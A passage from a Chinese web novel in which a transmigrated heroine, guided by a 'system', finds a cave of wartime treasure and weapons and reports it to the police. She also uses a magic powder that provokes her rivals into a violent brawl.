吴明珠愤怒且不解:“这帮小人真可恶,可是我爸认认真真地工作,又不贪污,他们能找到什么罪证?” 宋知南说:“欲加之罪,何患无辞?你想想那些被斗倒的干部难道都有问题吗?” 吴明珠说:“也是,是我想得简单了。行,我一会儿就回去告诉我爸。” 宋知南又说:“让你妈也注意些,以前的首饰衣裳之类的,都藏好了。”她隐约记得这帮人批、斗吴厂长的罪名中似乎有一条跟朱阿姨有关,说她是资产阶级太太作风之类的。 吴明珠一怔,她记得她妈确实有两箱子质量极好的裙子和旗袍,妈妈不止一次地惋惜现在没法穿了,还说以后留给她。她得赶紧回去提醒妈妈。 吴明珠正要离开,突然想起上次答应宋知南的事,赶紧从书包里找出一张纸条:“对了,上次你托我打听的事有眉目了。这是顾朝华所在大院的地址,但他家的具体地址我没打听到。上面还有他们家对头的名字和大致地址。” 宋知南接过纸条:“谢谢你,要靠我自己,还真查不出来。” 吴明珠惦记着父亲的事,也没跟宋知南多聊,两人说完正事就此告别。 宋知南回去就开始写信,她不光写信,把顺便把她上次写的跟顾朝华有关的报纸剪下来给他家的对头寄过去,帮人家提供切实的证据。 至于效果如何,就不是她能干预的。谋事在人,成事在天。 宋知南写完信开始跟系统对话:“统子,我想用杠精值跟你交换一部分剧情细节。” 系统这次没有直接答应,反而顾左右而言他:“宿主,你知道我们为什么选中你当宿主吗?” 宋知南:“因为我会抬杠呗。” 系统:“你只知其一不知其二。宿主,事到如今,我摊牌了。你能入选,能抬杠是一个条件,还有一个更重要的,就是你前世阳寿不长,你说你还没活够不甘心;而原主宋知南由于历尽生活的磨难,说她不想活了,许愿说,谁能替她报仇,她就把剩下的生命给谁。你俩同名,磁场和能量在那一瞬间交错纠缠,就有了你这次的时空旅行。” 宋知南内心震撼,表面平淡,不说话假装深沉。 统子继续摊牌:“宿主你别太伤心,本统有话就直说了,你前世都没能活到三十岁。” 宋知南冷静地问道:“是不是美帝又放猴子出来了?我又得重度感冒了?” 系统:“原因我后面再告诉你,你说你要我透漏剧情细节,我不是不可以,但有次数限制。我建议你把杠精值用在最重要的地方。比如说,咱们现在即将有一桩大富贵:霍峥嵘和他的小弟们即将找到宝藏,那是当年的小日子搜刮来的,还没来得及运走他们就投降了。你我联手,把里面的珠宝玉器吞了,武器咱们不要,你觉得怎么样?” 宋知南死劲地想啊想,想出一点剧情关联,霍峥嵘和他的小弟们确实一直在寻找宝藏。中间失败了好几回,最后是女主江茶帮忙确定了位置,书里说山洞里有几箱子珠宝玉器,还有枪支弹药,武器他们当然不敢私藏,当即上报公安。 除了报信的人外,其余人等一律留在原地没动,公安来后,询问一番,发现没人私藏东西,也就轻轻放过了。 殊不知,江茶当时有空间在手,她早在霍峥嵘的配合下,把几箱子珠宝神不知鬼不觉地藏到空间,谁也没察觉。 两人找到武器库的事,在本地甚至全国引起了强烈的反响,江茶和霍峥嵘被通报表扬,一时风光无两。 宋知南思索半晌,她不是什么好人,但她是有一个底线的人,有所为,也有所不为。 她说道:“统子,咱们可以去抢占山洞。但我提前说好,这些珠宝是岛国人留下的东西,岛国人从哪儿弄来的?不用说肯定是搜刮当时的国人来的,说不定上面还有血迹呢。那种东西,我们不能要。吃带血的东西,对你身体不好。咱们要相信因果。” 系统:“宿主,我没有身体。再说你天生反骨,我不相信你相信因果。” 宋知南:“我以前不信,现在信了,刚信的。听我的,东西咱们全部上交。以后我会给你弄来很多很多好东西。你放心,我将来一定会很有钱很有名,你想要什么都有。俗话说得好,莫欺少女穷,三十年广西,三十年广东,我绝对是最大的潜力股。” 系统叹息一声:“我全部摊牌了吧。宿主,你前世死于非命,你的号被封后,重新注册个帐号,又火了。因为经济下行,社会戾气越来越重,有人人肉了你,三个精神不正常的老光棍拿到你的地址,假装是送外卖的,上门杀你,然后你以一敌三,跟他们同归于尽。此事轰动一时,很多女网友在网上祭奠你,祈祷你重新投胎再接着战斗……” 宋知南:“不对,我在那之前已经穿越了,又怎么会有后面的事情?” 系统:“为了不让你留下心理阴影,我们修改了你的记忆。” 宋知南沉默半晌,突然自言自语:“真的,我真聪明。我早知道这个世界不安全,所以在屋里藏了好多利器,没想到还真用上了;我从小就感觉自己不是一般人,没想到还真的是。” 说到这里,她突然仰天大笑:“哈哈哈,我竟然以一敌仨,厉害,刺激。” 系统默然片刻:“宿主,你还好吧?你的精神状态还稳定吗?我再给你透漏一个消息:杠精值对你来说有大用,你可以用它们兑换寿命。” 宋知南:“放心吧,我稳定的很。稳定的发疯也是一种情绪稳定。” “你快说说怎么个兑换法?” “一千杠精值可续命一年。” 宋知南豪气地说:“给我来个五百年的。” 康熙不可以再活五百年,大清不亡,龙国怎么重现辉煌?但她宋知南可以,她对社会发展有正作用。 系统:“宿主,你得遵循自然规律,100是可以的,120也是可以期待的。500年是不可能的,向天借也借不到。” 宋知南从善如流:“那行吧,就120吧。其实活太长也没啥意思,地球妈妈被这帮孙子整得也快不行了。我活到美帝彻底玩完,小日子沉到海里,毛熊没毛,八国联军全灭亡就行了。” 宋知南跟系统闲扯完毕,开始制定战斗计划。天冷了,霍峥嵘和顾朝华也该灭了。争取一举歼灭,永绝后患。 她先写个框架,后面再陆续完善,争取没有漏洞没有尾巴。 写完一页计划,宋知南去相框前拜了拜自己:“宋知南,你了不起,你厉害,你文武双全,火力迅猛。你铁肩担道义,辣手著文章。这个赛道上舍你其谁。我这辈子谁都不服,就服你。” 第72章 宋知南拜了自己之后还沉浸在巨大的喜悦中, 求人不如求己,这世上最大的贵人就是不断进步的自己, 她以后没事就多拜拜自己。 至于前世被杀的阴影倒也没什么,反正她临死前带走了那仨人,够本了。有点遗憾但能化解。遗憾就是她练得太少,以后一定得加强锻炼。 宋知南恢复平静后,用500杠精值跟系统兑换了部分剧情知情权。 根据剧情提示,藏宝山洞就在纺织厂和机械厂中间的树林子里。 林子里有几处不起眼的小山坡,山坡上长满了灌木丛和野草。附近几家工厂的孩子常去那里玩耍,有时也有人去捡点柴禾烧火。 宋知南得知具体的位置后,就开始做计划。既然她决定不私藏宝藏,那就把宝藏公之于众,知道得人越多, 宝藏越安全, 若是只让少数人知道, 对方就有可能私藏。这么一大批宝藏,没几个人能经得住考验。 这是件好事, 既然是好事, 自然得落到自己人身上。 宋知南在脑中过了一遍名单,决定找个由头把大家聚起来,一起去那个小山坡。 宋知南很快就想到了一个聚会的由头,野炊。 于是她广发请帖,说这个星期天去纺织厂后面的树林里捡柴禾和野炊。 她邀请了李群英、何黛、边月、魏芬母女三人、王小雪王小霜姐妹俩,再加上王翠花和陆诗月。 她猜测吴明珠不一定来,但还是邀请了她。来不来是她的事, 请不请是自己的事。 吴明珠一看这么多人,就说自己不喜欢热闹, 下次她们私下再聚。宋知南也不勉强。 其他人都积极响应,还说要自带干粮和碗筷。 宋知南这边也邀请了宋冬宝和宋知夏。星期天一大早,宋冬宝和宋知夏就来到宋知南家里准备野炊的东西。 红薯土豆洗好晾干,青菜洗好切好,放在干净的小筐里,宋知南还带上两把挂面,五个鸡蛋,油盐也得带点。她还带了几把短把的铁铲准备挖洞烤红薯。 姐弟三人收拾好东西就出发了,宋冬宝背着一口锅,手里还提着两兜子东西,宋知夏和宋知南一人挎着一只筐。黑米和小虎跟在她们后面。 她们一出门,李群英听到动静也推着自行车出来了。 宋知南羡慕地看着她的自行车,说:“我明年的目标是买辆自行车。” 这年头没自行车是真不方便,到哪儿去都得靠两条腿。 李群英对三人说,“你们把东西挂车上,提着太沉。” 宋冬宝主动说:“三姐,把你手里的东西挂上去吧,我背得动。” 李群英打量了一眼宋冬宝说:“你这个弟弟挺懂事嘛。” 宋知南:“嗐,都是打出来的。” 宋冬宝无言以对,在外面就不能给他留点面子吗? 他们说着话,边月也蹬蹬地跑来了,她背着一个鼓鼓囊囊的书包。 她献宝似地说道:“师傅,英姐,我带了馒头和饼子,一会儿咱们烤着吃。” 李群英笑着说:“你带这么多东西出来,小心你后妈骂你。” 边月脑袋一昂,气势十足地说:“她敢。她要敢骂我,我就沿着家属区吆喝她。再去单位找她和我爸的领导。” 这个方法是从那些大人身上学的。 第一次用还很不好意思,张不开嘴,练习上两次就熟门熟路。边月仿佛打开了新世界的大门:人不要脸,天下无敌。 师傅说得对,勇敢的人先享受世界。她的学习心得是,勇敢的孩子就是要敢骂大人。 人到齐后,大家说说笑笑往外走去。 她们在十字路口跟魏芬王翠花汇合。大家都是带着东西来的,互相打着招呼,最兴奋的要数魏芬的两个女儿小婵小娟,王翠花也带了九岁的小女儿银玲来。银玲长得跟王翠花有三分像,生得结实健壮。魏芬看得一脸羡慕,还特地抱起银铃踮了一下重量,说道:“这孩子养得真好,是实心的壮。” 王翠花让银玲挨个叫人,轮到宋知南时,王翠花有点纠结,是叫姨还是叫姐呢。 宋知南主动说:“叫南姨,我爱当长辈。” 领导都是她孙子了,多几个外甥女怎么了? 众人哈哈大笑起来,说宋知南年纪不大还爱充大辈。 她们这群人十分引人注目,又是锅又是碗的,大人说说笑笑,小孩子蹦蹦跳跳,人群中还有一条狗一只猫。 有人就问他们干啥去,小婵小娟大声抢答:“我们去野炊哦。” 大人倒没什么,孩子们听到去野炊,脸上都露出羡慕的神情。小婵小娟银玲她们愈发得意。 二十分钟后,宋知南一行人到达纺织厂和机械厂之间的树林子里。 现在已经是初冬,草木枯黄,树叶簌簌飘落,阳光透过稀疏的树梢,洒在林间的草地上。 风有些凉,阳光倒是正好。 大家的心情十分舒爽,一边说笑一边寻找合适的位置。 在确定位置时,双方略有分歧,王翠花和魏芬建议野炊地点离河边近些,方便取水。宋知南想在小山坡附近,理由是背风向阳。 最后多数服从少数,还是依了宋知南。 宋知南说:“没事的,一会儿打水的事就让冬宝去,他今天就是来当劳动力的。” 宋冬宝不敢反对,只能默默地干活。 选好地点,大家开始分头行动,宋冬宝负责打水,李群英和陆诗月她们负责捡柴火。 宋知南带着孩子们去捡石头和碎砖,准备垒灶。 魏芬和王翠花宋知夏负责生火做饭。 等到简易灶台搭好,宋知南又开始领着三个孩子在小山坡上挖坑,说是一会儿要烤红薯和土豆,顺便找找有没有兔子洞。这事三个孩子自然乐意干。人手一把铁铲子,挖得不亦乐乎。 宋知南挖了一堆土,胳膊都挖酸了,还是没有找到传说中的那个洞口。她只能暂时放弃,先吃饭吧,吃饱了再接着挖。 在大家齐心协力下,终于开饭了。 第一锅是乱炖,大家带的白菜土豆干菜之类的全部放锅里一起炖,里面还有宋知南和李群英贡献的两小块腊肉,为这锅大炖菜注入了灵魂。 大家一人一碗,直接坐在草地开吃,一边吃一边夸:“真香,真好吃。” 一锅乱炖不够,接着又煮了一锅鸡蛋青菜挂面,大家伙吃饱喝足,去河边洗碗洗锅,收拾东西。宋知南把红薯和土豆埋在灶里,一会儿烤熟了好吃。 大家各自散开去捡柴禾,宋知南则带着几个孩子和宋冬宝继续找兔子洞。 宋知南挖呀挖,挖了半个小时仍然一无所获。 她擦了把汗,看看小婵小娟银玲三个孩子仍然劲头十足,不由得羡慕起来,小孩的精力真旺盛,就跟永动机似的。 宋知南继续低头挖洞,半小时后,她终于挖到了一个特殊的入口,初极狭,越挖口越宽。宋冬宝也发现了情况,惊呼一声:“这个洞好大,里面不会真有兔子吧。” 三个孩子一听到有兔子也刷地一下围了上来,大家一起动手开挖。 紧接着大人听到喊声也过来看热闹帮忙。 大家伙再接着挖下去,挖到了一块石板,宋知南招呼大家一起用木棍把石板撬开,在众人的努力下,石板一点点地被撬动,上面的泥土簌簌往下掉落。 “一二三,大家一起用力。”王翠花响亮的嗓门响起,在她的号召下,大家一起用力,石板终于被撬起来了。黑幽幽的洞口暴露在大家面前。众人既好奇又害怕。 大家七嘴八舌地议论道:“这里面该不会有啥可怕的东西吧?” “会不会有大蛇啥的吧?” “应该不会,蛇都该冬眠了。” 宋知南从书包里掏出手电筒,拿根棍子,准备进去探险。 魏芬奇怪地问道:“知南,大白天的,你咋还带着手电筒?” 宋知南解释道:“我包里一直随身带着,习惯了。” 宋冬宝接着说:“我姐书包里还有板砖呢。” 众人面面相觑。 宋知南把书包拽下来放到地上,打开手电筒义无反顾地钻进了山洞。 山洞里很潮很闷,里面是一箱箱的东西,她费力地打开看了一眼,里面有手榴弹和枪支弹药,还有一箱箱的珠宝和军用罐头。 就在这时,系统开口了,“宿主,你现在把金银珠宝全收进空间也没人知道哦,你照样获得名声哦,收了这些,你就拥有了这辈子都用不完的财富,你真的不心动吗?” 宋知南有一刹那的动摇,很快,她又坚定了信念:“我两辈子都是无产阶级,从小到大就没支配过巨量的财富,德不配位,会遭到反噬的。再说了,我现在正值奋斗的年纪,什么都有了多没意思。不要,坚决不要。” 宋知南怕自己受到诱惑,再加上洞里空气不好,她赶紧爬了出去。 见到她平安无事地出来,魏芬等人松了一口气。 宋冬宝说:“姐,你再不出来,我就要进去了,里面有啥东西?” 宋知南喘了口气,吩咐宋冬宝:“冬宝,你现在赶紧骑上群英的自行车去派出所,告诉他们,这里有一个山洞,里面有武器和古董,让他们多带些人来。” 大家一听,不由得满脸惊诧。 李群英最冷静,很快就说道:“大家都在原地不要乱动,更不要随便进去,里面有枪支弹药和手榴弹,有危险。而且这些东西是要上交国家的,不能随便拿。” 大家本来心存好奇,想进去一探究竟,一听这话,全都老实了。 宋知南欣赏的目光看了李群英一眼,正好说了她想说的。 李群英怕宋冬宝说不清楚,便自告奋勇道:“我跟冬宝一起去,他去场办,我去公安局和街道办事处。知南,你留下来看着现场,后面无论谁来了,也不准他们进去。” 说完,她跨上自行车,宋冬宝坐在后座。 李群英和宋冬宝刚离开一会儿,机械厂方向就呼啦啦地来了一大群人。 领头的正是霍峥嵘江茶他们。 霍峥嵘看到山坡被挖开了,面色一变,他一直在寻找的宝藏原来在这里,怪不得他们遍寻不着,谁能想到这么个不起眼的小山坡,里面竟然另有乾坤。 只差一点,他就能找到了。可恶的宋知南竟然先了他一步。凭什么?为什么? 霍峥嵘心口剧痛,像是被人硬生生扯掉一块肉似的,他感觉自己似乎失去了非常重要的东西。 霍峥嵘的目光突然变得阴鸷起来。 他拉着江茶就往山洞闯去。 第73章 宋知南拦住两人:“这里面有手雷和弹药, 有危险,我们已经报了公安, 现场被保护起来了,谁也不准进去。” 霍峥嵘心情迫切,风度全无,伸手就去推搡宋知南:“你没有这个资格拦我,让开。” 宋知南从书包里淘出一块板砖,对准霍峥嵘的胳膊砸去,霍峥嵘闷哼一声,抬腿来踢宋知南,宋知南灵活地闪躲开,转身一个漂亮的侧踢,正好踢中了裆间的东西, 霍峥嵘疼得额头直冒冷汗, 眸中怒火更盛。 宋知南暗暗称赞自己踢得真准, 这些日子没白练习,机会留给有准备的人。 众人怔了一下才反应过来, 李松王左等人也围拢上来虎视眈眈地盯着宋知南。 宋知南这边的人见对方要动手, 呼啦啦一下也全围过来,跟宋知南站在同一阵线上,就连黑米也凶狠地龇着牙,发出警告。 顾朝华奇怪地看了霍峥嵘一眼,出声劝阻:“峥嵘,这山洞是别人先发现的,我看算了吧。再说了, 好男不跟女斗。” 他不是没打过群架,但一帮男人围攻一个女孩, 他是不赞同的,这在他们那边会被人瞧不起,小地方的人果然不太讲究。 萦绕在霍峥嵘心头的巨大损失厌恶感,和隐蔽部位的疼痛,让他对谁都没有好脾气,他突然对顾朝华发火:“顾朝华,你别站着说话不腰疼。你不知道我付出了多少……要不是你在这里惹事,耽误了我,我早就……”功亏一篑,他只差一步就找得到这批宝藏。 顾朝华冷笑:“我耽误了你?原来你私下里忙忙碌碌是在寻宝呢,好家伙,你竟然连我都瞒着。” 顾朝华也有点埋怨霍峥嵘,要是他早点告诉自己,两人联手,以他的运作能力,这个大功劳就是他的了,当然他也不会让霍峥嵘吃亏。可是这人却死死地瞒着他,到底是小地方的人,没见过大世面,目光短浅,现在好了,让别人给截胡了。 两人破天荒地互掐起来。 江茶神思恍惚地站在一旁,这个地方她梦里来过,这里有很多宝贝,梦里的她有个随身空间,她把自己的秘密告诉了霍峥嵘,霍峥嵘震惊且感动,发誓会一辈子保守秘密。两人一起悄悄地收了这批宝藏。 再回到现实,江茶才发现一切都变了。是宋知南先发现了这个藏宝洞,也就是说,这一切本应该是属于霍峥嵘和她。到底是哪一步出现了差错?江茶心乱如麻。以前,她的梦虽然断断续续不连贯,但一般都挺准的。好像自从宋知南出现后,她的梦就开始不准了。宋知南是不是也跟她一样会做预知梦? 江茶还在魂游天外,有人捅捅她:“嫂子,你今天是怎么了?赶紧去劝华哥和霍哥呀。” 江茶迅速回过神来,冲提醒她的人轻轻一笑,赶紧温声劝和:“你们两个别吵了。华哥,因为上次那事,峥嵘被霍伯伯骂了一顿,又关他禁闭,他心情很不好,你别跟他计较。峥嵘,你怎么对这么对华哥说话?你快跟他道歉,华哥这么大气,不会跟你计较的。” 霍峥嵘身后的小弟们也跟着一起劝:“是啊,华哥霍哥,咱们这时候要一致对外,不要内讧呀。” 霍峥嵘的目光稍稍清明些,不再跟顾朝华继续掐,但他还是要坚持进洞。 宋知南手里的板砖没了,换成两个挖地的小铁锹,像个门神似的挡在门口。 就在双方僵持不下时,纺织厂那边呼啦啦也来了一大群人。 他们听宋冬宝说这边发现了一个武器库,那些人二话不说,撂下手里的活就跑过来了。 有的人嫌走路太慢,直接骑着自行车来,宋冬宝也跟着他们一起回来了。 最前面的是保卫科的赵大刚等人。 赵大刚远远地就对宋知南喊话:“宋同志,你厉害呀,竟然发现了武器库,谁能想到这小山坡里竟然有个武器库?你们这是怎么回事?” 宋知南大声回答道:“我爬进去看了一眼,里面有大量的手雷,很危险,我拦着不让人进去,有人非不听。” 这个“有人”大家自然知道是谁。 赵大刚看了霍峥嵘一眼,无奈地摇头:“霍同志,怎么又是你?” 霍峥嵘据理力争:“这片林子是我们机械厂的,就应该由我们接管。跟你们纺织厂没关系。” 这下纺织厂的人不干了,一起喊道:“你凭什么说林子是你们机械厂的?就是我们纺织厂的。” 还有人议论说:“这个霍峥嵘小时候看着挺不错的,怎么现在越来越不讲理了?” “嘘,人家觉得自己了不起,早就不讲道理了。” “对,小宋文章里都写了,他身上有一股旧社会霸道地主味儿。” “这小子早就变质了。” …… 霍峥嵘听着大家那尖酸刻薄的言论,既窘迫又愤怒。以前他听到的都是夸奖和称赞,如今一切都变了。这一切都是拜宋知南所赐。这个女人绝对是他的克星。 他再一想,自己寻找了很久的宝藏被宋知南截胡了,心头涌起一股滔天的愤怒,愤怒暂时战胜了他的理智。 他红着眼睛冲向宋知南:“宋知南,你去死吧。” 霍峥嵘的反应把江茶吓了一大跳,她印象中的霍峥嵘对女生一直很有风度,遇到烦人的,顶多就是不理会,断不会亲自动手打人。今天的他像是疯了一样,连着两次对宋知南动手。 她震惊的同时还心生恐惧,霍峥嵘今天打别的女孩,也许以后就会打她?不对,这么想不对,宋知南太可恶了,她就该打。自己跟宋知南不一样,跟别的任何女人都不一样,因为霍峥嵘爱她,爱她就不会这么对她。江茶强行压下这个想法,很快就说服了自己。 顾朝华虽然对霍峥嵘不满,但两人现在是一条绳上的蚂蚱,他本能地不想霍峥嵘把事情闹大,财宝谁都想要,问题是宋知南已经报了公安,现场还有这么多围观群众,除非他们有通天的手腕,否则很难私藏宝藏。 既然成功概率很低,那就应该果断放弃,顺便看看能不能从中捞取点名声和好处。毕竟,宋知南是个女同志,跟她一起来的也多是女同志。他有预感,只要他把握时机站出来,最后记者的关注点会落在他身上。 顾朝华及时地拉住了霍峥嵘,甚至这时候还不忘向宋知南展示自己的力量和情意:“知南,你不要怕,我会保护你的。像你这样有勇有谋的女孩子才配得上我顾朝华。” 宋知南胃里一阵翻涌,那种熟悉的哕感又来了。她看看顾朝华,再看看霍峥嵘,突然,心头涌上一个善良而有趣的念头。 有些人喜欢看女人扯头花,她跟这些人的口味不一样,她就喜欢看男人们互相扯蛋和捅刀子。 今天天高气爽人又多,是个极好的日子,就适合搞事情。 对了,她当初花666杠精值兑换了一枚特殊的药,说明书上说,它可以引出使用者的恶念,短暂的操控他的精神。现在终于可以用上了。 那些人整天拿着女人的妒忌心说事儿,好像男人就不妒忌不争斗似的,二十四史上,斗得最狠流血最多的群体到底是哪一个呀。 霍峥嵘那么骄傲自恋的人,对顾朝华伏低做小,他真的甘心吗?顾朝华那么浅薄普信的人一定会给她新的惊喜,今天她就拿这两人做个实验。 宋知南随手把铁锹扔地上,假装伸手从书包里掏东西,实则是从静止空间拿药出来。 她把用手绢包着的药拿出来,假装自己干哕了:“顾朝华,你的话恶心到我了。” 这药是药粉,如粉尘一般,无色无味,乃居家旅行必备之物。 宋知南此时离霍峥嵘和顾朝华都很近,用药很方便。 宋知南准备妥当,突然跳起来甩了霍峥嵘一巴掌,啪地一声脆响,让四周的空气为之一凝。 霍峥嵘既惊又怒,这个女人一再挑衅他,现在竟敢当众打他的脸,从来没人打过他的脸! 霍峥嵘五官狰狞,他举起拳头就要还手,宋知南一闪身躲开,窜到顾朝华面前,啪地一巴掌扇过去。顾朝华愣住了,还是第一次有女人打他的脸。 霍峥嵘像疯了一样追着宋知南打,周围的人都被他的疯劲吓了一跳,不由自主地向后退散。 王翠花挺身而出,她像一头牛似的用脑袋向霍峥嵘的腹部猛顶过去:“我看你敢动我妹子,我跟你拼了!” 霍峥嵘猝不及防,被王翠花顶了一个大趔趄,幸亏他身后的两人拽住他,他才没有摔倒。 霍峥嵘骂道:“泼妇,都是泼妇。” 魏芬把三个孩子往边上一推,立即声援王翠花:“泼妇怎么了?我们今天跟你拼了。” 宋知夏虽然害怕想躲,她斗争片刻,还是拿着一个铁铲跟魏芬站在一起同仇敌忾地盯着霍峥嵘。 赵大刚宋冬宝等人跑过来帮忙摁住霍峥嵘,李松王左他们跑过来帮着霍峥嵘。 也不知道谁先动的手,混战就这么开始了。宋冬宝盯着霍峥嵘打,黑米也盯着他下嘴咬。李松王左等人一起围攻宋冬宝,赵大刚他们则一边劝架一边拉偏架。 宋知南趁乱往霍峥嵘和顾朝华身上洒药粉,李松王左陈青他们身上也洒了点,主打一个公平。可惜江茶离得有点远,罢了,她暂时先放对方一马。 围观的人越来越多,赵大刚大声喊道:“别打了,再打下去,咱们都得受处分,快把人拉开,公安快来了。” 大家一听也是,赶紧上来拉架,人多力量大,很快就把扭打在一起的双方给硬分开。 鼻青脸肿的霍峥嵘被机械厂的工人拉到一边。 宋冬宝和宋知南也被众人拉到安全地带,宋冬宝脸上挂了彩,宋知南飞快地说道:“冬宝你真是我的好弟弟,回去我请你吃肉。” 宋冬宝咧嘴一笑,抹了一把鼻血,“没事的,姐,今天打得真过瘾。” 他亲手打了霍峥嵘,回学校他得跟同学吹上一个月。关键是打完架,他姐还请他吃肉。这么好的姐姐上哪儿找? 霍峥嵘英俊的五官变得愈发狰狞扭曲,他喃喃自语道:“这里的宝藏本应该是我的,是我的。十年前,我就从敌特那里得知这附近有一个藏宝洞,只有我一个人知道,这么多年,我一直在悄悄地寻找。宋知南,是你抢了我的机缘,是你抢走了我的财宝,是你让我丢了面子,你去死吧,你就该去死!” 众人瞠目结舌,天呐,这个霍峥嵘太可怕了。十年前他就知道,但他一直藏在心里,谁也没说,自个儿偷偷寻找宝藏。宋知南抢在他前头发现了宝藏,他就想置人家于死地。 宋知南远远地看着霍峥嵘发疯,那药粉果然引出了霍峥嵘内心的恶念和贪欲。 此时的霍峥嵘让宋知南想起了《指环王》里的咕噜看到魔戒时的疯狂:“My precious!” 霍峥嵘在发疯,顾朝华也悄悄起了变化,他先是朝吓得不知所措的江茶邪魅一笑,含情脉脉地说道:“茶茶,你不要怕,我来保护你。” 江茶惊得后退两步。 众人目光炯炯地看着这一幕,他们早就猜到了,江茶和顾朝华果然有一腿,群众的目光果然是雪亮的。 令人诧异的还在后面,王左也迷迷糊糊地上前对江茶说道:“嫂子,你别怕,我也可以保护你。” 陈青也跟着说:“茶茶姐,我今天才发现,其实我喜欢的是你,只有你最理解我。可惜你早跟了霍哥,霍哥长得俊,家世好,我比不上他……” 江茶吓得再后退三步。 众人面面相觑,这瓜太多了,吃不过来了。 宋知南微微惊讶了一下,随即一想,又觉得在情理之中。 江茶长得漂亮又善解人意,把人生所有的智慧都用在讨男人欢心上,她求仁得仁,自然会获得大部分男人的喜欢。陈青和王左等人经常跟她接触,喜欢她也不足为怪。这样一来,场面就更热闹了。 顾朝华上前一步,旁若无人地对江茶说:“茶茶,我知道你其实也喜欢我,但你舍不得霍峥嵘,其实他有什么好的?他来自小地方,他爸不过是个小厂的总工,还是个副的。我可是来自首都大院,我爷爷我大伯都是高级干部,以后他们还会当上更大的领导,霍峥嵘也就在你们这些人面前人五人六的,到了我面前还不得乖乖地当孙子?每次看到他那副谄媚的样子我都觉得可笑。” 霍峥嵘听着自己的所谓好哥们跟他对象表白,还当众侮辱贬低自己;他认为的忠心耿耿的好兄弟竟然也惦记着江茶,还暗戳戳地妒忌自己。 一天之内,他失去了藏宝库,自己的对象被好哥们调戏惦记,名声被毁,三件事情叠加在一起,让他残存的一丝理智丧失了,怒火像洪水一样冲开了闸门,呼啸而下。 霍峥嵘嘶吼一声,先拿离他最近又最讨厌的顾朝华开刀:“顾朝华,你这个没有廉耻的小人。你不过是来我家躲风头的,你爷爷你大伯也快完了,我以后一定会把你狠狠地踩在脚下。” 他举起拳头就朝顾朝华脸上砸过去,顾朝华愣了一下急忙还手。李松也随之大吼一声加入打斗:“姓顾的,我让你天天在我们面前装,你去死吧。” 三人扭打在一起。 众人惊叫着纷纷散开,有人本来想去拉架,可是见三人打得太疯狂,又停住了脚步。 霍峥嵘早就对顾朝华心存妒忌和不满,他有什么牛的?不就家世比自己好一点点吗?不就是出生在首都大院吗?为什么他们全家都得捧着他们顾家?凭什么自己就得讨好他?现在,他竟然想给自己戴绿帽子。外面还在传他跟自己跟茶茶都有一腿。 既然如此,那他今天就废了顾朝华的罪恶之根,毁了他的那张脸,看他以后还怎么骄傲得起来?看他以后还怎么处处留情,到处风流? 霍峥嵘从地上拴起一把刚才宋知南丢下的铁铲,猛地就朝顾朝华的双眼铲去,顾朝华脸上顿时鲜血飞溅。 他发出一声惨叫,双手不由自主地捂住眼睛。 众人脸色发白,惊叫着四散躲开。 霍峥嵘像是疯了一样,举起带血的铲子又朝顾朝华的□□铲去,顾朝华再次发出一阵惨叫。 霍峥嵘铲完顾朝华还嫌不够,他又追着王左和陈青打,李松也跟着霍峥嵘去追打两人。 两人吓得屁滚尿流,在混乱之中,王左也摸到了一把铁锹,铲了霍峥嵘的大腿一下,陈青打架不行,但他有丰富的挨打经验,只见他双手抱着头,蜷缩成一团,露出屁股和背部让人打。 众人被这场面吓得倒吸一口冷气,这个霍峥嵘真的疯了。公安怎么还不来? 宋知南算着时间快到了,赶紧让宋冬宝等人整理一下,不要露出刚打过架的样子。她今天可是宝藏的发现者和守卫者,她打霍峥嵘是为了守护宝藏,怎么能叫打架呢? 宋知南刚准备好,就听见有人喊道:“公安来了。” 第74章 公安到达现场后, 一看有人在打架斗殴,二话不说, 立即大声喝止,并上前制伏了霍峥嵘,把他死死摁住。 顾朝华的伤势太重,只能送到市医院抢救。王左和陈青的伤较轻,被群众抬到纺织厂厂部医院包扎。 公安处理完霍峥嵘和顾朝华的事,赶紧让人带着专家进洞里进行探测。他们怕里面的炸弹和手雷发生爆炸,危及大家的安全,同时疏散了周围的群众:“大家都离山洞远一点,有危险。” 宋知南则被叫到一边问话。 宋知南怕公安后面审问霍峥嵘他们时,对方会供出自己,便抢在他们前面先告状:“公安同志, 我为了保卫山洞里的宝藏, 也为了人民群众的生命安全, 在霍峥嵘硬闯山洞跟我动手时,我自卫反击了, 这应该没问题吧?” 公安打量了一眼宋知南, 说道:“你放心,没问题。” 接着对方又问道:“你要不要也去医院看看?” 宋知南摇头:“被在场的女同志帮忙拉开了,不碍事。公安同志,你有什么问题就问吧,正事要紧。” 公安点头,“你的姓名,年龄, 工作单位?” “宋知南,15岁, 红星纺织厂工会妇联干事。” “你是怎么发现这个山洞的?” 宋知南字斟句酌地回答:“我们来野炊,我带着一帮孩找兔子洞时发现的。” “你是第一个进去的?” “是的,我进去的时候除了手电筒和木棍,什么也没带,在场的人可以为我作证。” …… 公安一边问一边飞快地记录。 他们不但询问宋知南,还问了别人。大家的说辞跟宋知南差不多。 山洞四周围起来一圈绳子,这是警械线,无关人员一律不得入内。 公安记下了宋知南的姓名地址单位,说等结果下来会通知她。 宋知南心有余悸地对大家伙说:“大家都吓坏了吧?咱们赶紧收拾收拾东西回家吧。” 众人如梦初醒似的:“啊,这就回去呀?” 宋知南说:“我今天被吓着了,先回去了。你们想看热闹就多呆一会儿吧。” 李群英已经回来了,她说:“走吧,我送你回去。” 宋知夏既想留下来看热闹,又觉得应该回去陪着妹妹。 宋知南说:“二姐,你跟冬宝留下来吧,我跟群英回去就行。” 李群英骑车载着宋知南回去,待离人群稍远些,李群英说:“知南,我觉得霍峥嵘今天很奇怪,像换了一个人似的。” 宋知南说:“他不是换了一个人,只是这件事情激发出他性格中的另一面而已。你不是说他十来岁时跟小伙伴一起遇到了敌特吗?他就是那时候偶然从敌特口中得知这附近有藏宝洞的,多有心机的一个人,一个十来岁的孩子竟然能一直死守着这个秘密。” 李群英也挺震撼,接着说:“我更没想到,霍峥嵘竟然会动手打顾朝华,还下手那么狠。” “很正常,霍峥嵘那么骄傲的一个人,却要在顾朝华面前伏低做小,他能甘心吗?女人的妒忌心也就是说说对方坏话,阳阴怪气几句而已。男人的妒忌心才可怕呢,能直接要你的命。不信,你想想历史上书的案件,是不是都这样?” 李群英一想也确实是,她忍不住摇头叹气:“真是太可怕了。” 纺织厂后山发现藏宝洞的消息不胫而走,大家茶余饭后都在讨论这件事。 “天呐,那个地方我知道,我经常路过,我咋就没想到里面有宝藏呢?” “不光你没想到,咱们谁也没想到啊。那个山包看上去一点也不起眼。想不通岛国人为什么会把东西藏在那里。” 